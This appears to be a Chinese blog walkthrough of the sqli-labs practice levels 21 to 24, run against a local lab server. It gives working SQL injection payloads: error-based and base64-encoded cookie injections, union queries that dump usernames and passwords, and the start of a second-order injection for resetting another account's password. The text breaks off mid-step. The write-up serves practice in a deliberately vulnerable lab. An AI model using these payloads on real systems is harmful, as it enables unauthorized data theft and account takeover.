sqli-labs 21-28

Less-21

1.直接用我们知道的用户名密码都为:admin的进行尝试,发现:

2.发现Cookie为:uname = YWRtaW4=说明对其进行了base64编码,那就编码看看:在线编码解码
YWRtaW4=就是admin,确实是base64编码,那就是说构造的语句也要进行base64编码。

还是在Cookie中构造:uname=admin' and extractvalue(1,concat('~',(select database()))) #编码后
uname=YWRtaW4nIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoJ34nLChzZWxlY3QgZGF0YWJhc2UoKSkpKSAj

结果报错,说明不止是单引号闭合,多了一个单引号,尝试加个括号:uname=admin') and extractvalue(1,concat('~',(select database()))) #编码后
uname=YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KCd+Jywoc2VsZWN0IGRhdGFiYXNlKCkpKSkgIw==

没用提错,说明为单引号加括号闭合。可是并没有回显我们需要的内容,看来这构造行不通。改一改,不直接用database() 构造为:admin') and extractvalue(1,concat('~',(select schema_name from information_schema.schemata limit 0,1))) # 编码后YWRtaW4nKSBhbmQgKHNlbGVjdCAxIGZyb20gKHNlbGVjdCBjb3VudCgqKSxjb25jYXQoKHNlbGVjdCBzY2hlbWFfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSBsaW1pdCAwLDEpLCc7JyxmbG9vcihyYW5kKCkqMikpIGFzIHggZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIGdyb3VwIGJ5IHgpYXMgYSkj

成功,这里用database()不行,因为自己太菜,目前也说不出个为什么,希望知道的大佬指点一下。之所以在这里从新构造,是因为下面的构造在开始时,用的也是database(),结果提示超过一行,但想着database()应该就是指security好像不需要limit n,1来限制,所以从新构造成这个形式。

3.换一种构造试试:admin') and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),';',floor(rand()*2)) as x from information_schema.tables group by x)as a)#
编码后:YWRtaW4nKSBhbmQgKHNlbGVjdCAxIGZyb20gKHNlbGVjdCBjb3VudCgqKSxjb25jYXQoKHNlbGVjdCBzY2hlbWFfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSBsaW1pdCAwLDEpLCc7JyxmbG9vcihyYW5kKCkqMikpIGFzIHggZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIGdyb3VwIGJ5IHgpYXMgYSkj

成功,剩下的稍微改改就好,改来改去,转来转去的,试得头疼。这题好像还提示日期配置错误,忙着做题了,没来的急处理,请大家自行忽略。后来查了一下,解决方法为:It is not safe to rely on the the system’s timezone settings解决方法 下面的已经处理好。


Less-22

1.先用我们知道的用户名密码都为:admin的进行尝试,发现:

感觉和Less-21相似,连返回的图片显示的都是SQLI DUMB SERIES-21(可能是弄错了)

2.那还是先尝试Cookie:把Less-21的语句提交看一下:admin') and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),';',floor(rand()*2)) as x from information_schema.tables group by x)as a)#
编码后:YWRtaW4nKSBhbmQgKHNlbGVjdCAxIGZyb20gKHNlbGVjdCBjb3VudCgqKSxjb25jYXQoKHNlbGVjdCBzY2hlbWFfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSBsaW1pdCAwLDEpLCc7JyxmbG9vcihyYW5kKCkqMikpIGFzIHggZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIGdyb3VwIGJ5IHgpYXMgYSkj

提示出错,应该是闭合方式不同。

3.尝试为双引号:admin" and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),';',floor(rand()*2)) as x from information_schema.tables group by x)as a)# 编码后:YWRtaW4iIGFuZCAoc2VsZWN0IDEgZnJvbSAoc2VsZWN0IGNvdW50KCopLGNvbmNhdCgoc2VsZWN0IHNjaGVtYV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhIGxpbWl0IDAsMSksJzsnLGZsb29yKHJhbmQoKSoyKSkgYXMgeCBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgZ3JvdXAgYnkgeClhcyBhKSM=

成功。


Less-23

1.加单引号/加单引号加注释:http://localhost:8088/sqlilabs/Less-23/?id=1' --+都提示同样的错误:

也就是说注释符不起作用,可能是过滤了。

2.那通过语句闭合试试:成功http://localhost:8088/sqlilabs/Less-23/?id=1' and '1'='1

3.用使用联合查询:http://localhost:8088/sqlilabs/Less-23/?id=1' union select 1,2 and '1'='1 一列一列加发现有三列,不然会报错。

4.构造获取数据库名:http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 1,(select schema_name from information_schema.schemata limit 0,1), '3

5.直接给出最终构造:http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 1,(select concat(username,':',password) from users limit 1,1), '3


Less-24

1.看提示为:second order injections *Real Treat* stored injections 就是二阶注入/真正的享受/存储注入的意思。
2.先进页面看看,发现可以新建用户和用户登录,那先建一个试试。创建成功:

3.登录,发现可以修改密码:

4.根据提示的存储注入,想到可以构造一个新用户名(经测试用户名未进行相应过滤),使在更新此用户名的密码时,更新到其他账户密码。具体实现,考虑到密码重置语句为:update table_name set password='new_password' where username='username' and password='password' ;构造用户名:admin' or '1'='1 ,创建。登录,修改密码时,执行的语句应该为:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

烜奕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值